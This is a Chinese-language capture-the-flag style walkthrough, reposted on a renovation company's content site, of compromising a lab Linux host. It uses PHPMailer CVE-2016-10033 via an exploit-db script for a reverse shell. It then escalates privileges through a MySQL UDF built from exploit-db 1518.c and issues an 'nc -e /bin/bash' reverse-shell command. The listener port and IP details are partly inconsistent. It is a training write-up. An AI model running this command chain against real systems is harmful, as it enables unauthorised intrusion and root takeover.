上海古都建筑设计集团,上海办公室装修设计公司,上海装修公司高质量的内容分享社区,上海装修公司我们不是内容生产者,我们只是上海办公室装修设计公司内容的搬运工平台

udf提权

guduadmin24小时前

环境:

kali:192.168.157.128

linux靶机:192.168.157.130

1.使用nmap对当前网段进行扫描

nmap 192.168.157.0/24

udf提权,第1张

发现靶机IP和开放端口

2.对靶机进行详细的服务探测

  • -sS:使用 SYN 扫描(半开放扫描)方式,向目标主机发送 SYN 请求进行端口扫描。
  • -sV:对开放的端口进行版本探测,尝试获取正在运行的服务的版本信息。
  • -T4:设置扫描速度为快速模式。
  • -A:启用一系列的侦测功能,包括操作系统探测、脚本扫描等。

    nmap -sS -sV -T4 -A 192.168.157.130

    udf提权,第2张

    3.使用dirb对80端口对应的网站进行目录爆

    dirb http://192.168.157.130

    udf提权,第3张

    udf提权,第4张

    在http:192.168.157.130/vendor/PATH这个路径发现第一个flag

    udf提权,第5张

    在http:192.168.157.130/vendor/README.md这个文件中发现使用的插件是PHPMailer

    udf提权,第6张

    在http:192.168.157.130/vendor/SECURITY.md发现了PHPMailer的历史漏洞

    udf提权,第7张

    翻译http:192.168.157.130/vendor/SECURITY.md页面的内容如下:

    关于 PHPMailer 的安全通知:

    请负责任地通报发现的任何漏洞,将发现的任何安全问题私下报告给维护人员。

    PHPMailer 版本 5.2.18 之前(于 2016 年 12 月发布)存在漏洞 CVE-2016-10033 ,是一种远程代码执行漏洞,由 Dawid Golunski 负责报告。

    PHPMailer 版本 5.2.14 之前(于 2015 年 11 月发布)存在漏洞 CVE-2015-8476 ,是一种 SMTP CRLF 注入漏洞,允许任意消息发送。

    PHPMailer 版本 5.2.10 之前(于 2015 年 5 月发布)存在漏洞 CVE-2008-5619 ,是一个远程代码执行漏洞,存在于捆绑的 html2text 库中。这个文件已在 5.2.10 中删除,因此如果您使用的版本早于此版本并且使用 html2text 函数,则非常重要的升级并删除此文件。

    PHPMailer 版本 2.0.7 和 2.2.1 之前存在漏洞 CVE-2012-0796,是一种电子邮件头注入攻击。

    Joomla 1.6.0 不安全地使用 PHPMailer,允许揭示本地文件路径,报告于 CVE-2011-3747。

    PHPMailer 未对 SetLanguage 中的 $lang_path 参数进行清理。这本身不是问题,但某些应用程序(如 PHPClassifieds、ATutor)也未能清理传递给它的用户提供的参数,允许半任意本地文件包含,报告于 CVE-2010-4914 、 CVE-2007-2021 和 CVE-2006-5734。

    PHPMailer 1.7.2 及更早版本存在可能的 DDoS 漏洞,报告于 CVE-2005-1807。

    PHPMailer 1.7 及更早版本(2003 年 6 月)在 SendmailSend 方法中存在可能的漏洞,其中 shell 命令可能无法进行清理。报告于 CVE-2007-3215。

    在http:192.168.157.130/vendor/VERSION发现了PHPMailer当前的版本,正好是5.2.16,符合CVE-2016-10033,直接找exp

    udf提权,第8张

    4.40947文件

    searchsploit 40974

    udf提权,第9张

    cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/桌面/3  复制到桌面的文件夹

    udf提权,第10张

    vi 40974.py   #编辑文件

    udf提权,第11张

    41行:修改成目标地址

    42行:生成的后门文件名称

    44行:修改反弹的ip及端口

    47行:网站的根目

    python 40974.py   #运行Python文件

    udf提权,第12张

    5.监听本地8888端口

    监听之前将kali默认的shell切换为bash

    bash

    nc -lvnp 8888

    同时访问http:192.168.157.130/contact.php,在接着访问http:192.168.157.130/test.ph

    p。因为我们想访问contact.php,才会生成test.php的后门。

    udf提权,第13张

    udf提权,第14张

    udf提权,第15张

    使用技巧切换为稳定的shell,依次执行一下代码

    python -c 'import pty; pty.spawn("/bin/bash")'

    CTRL+z

    stty raw -echofg

    udf提权,第16张

    6.寻找剩下的flag

    find -name flag*

    MYSQL-UDF提权

    1.查看MySQL进程信息,是root权限运行

    ps aux | grep mysql

    udf提权,第17张

    2.查看在wordpress目录下的wp-config.php文件看mysql的账号及密码

    udf提权,第18张

    3.查看mysql是否有版本及是否有写入权限及插件目录

    mysql -uroot -pR@v3nSecurity 登录mysql

    select version();

    show global variables like 'secure%'; #首先看一下是否满足写入条件

    show variables like 'plugin%';或select @@plugin_dir; #查看插件目

    udf提权,第19张

    udf提权,第20张

    4.将文件1518.c从kali中复制出来,进行本机编译

    cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/kali/Desktop

    gcc -g -c 1518.c

    gcc -g -shared -o udf.so 1518.o -lc

    python -m http.server   # 开启服务

    udf提权,第21张

    udf提权,第22张

    wget http:192.168.86.128:8000/udf.so

    udf提权,第23张

    mysql -uroot -pR@v3nSecurity

    use mysql;

    create table foo(line blob); #进入数据库创建数据表

    insert into foo values(load_file('/tmp/udf.so')); #插入数据文件

    select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';     #成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!

    create function do_system returns integer soname 'udf.so';      #创建自定义函数

    do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

    select * from mysql.func;    #查看以下创建的函数

    本地监听nc -lvnp 4455

    mysql中执行:select do_system('nc -nv 192.168.168.128 6666 -e /bin/bash')

    udf提权,第24张

    udf提权,第25张

    udf提权,第26张

    udf提权,第27张

网友评论

搜索
最新文章
热门文章
热门标签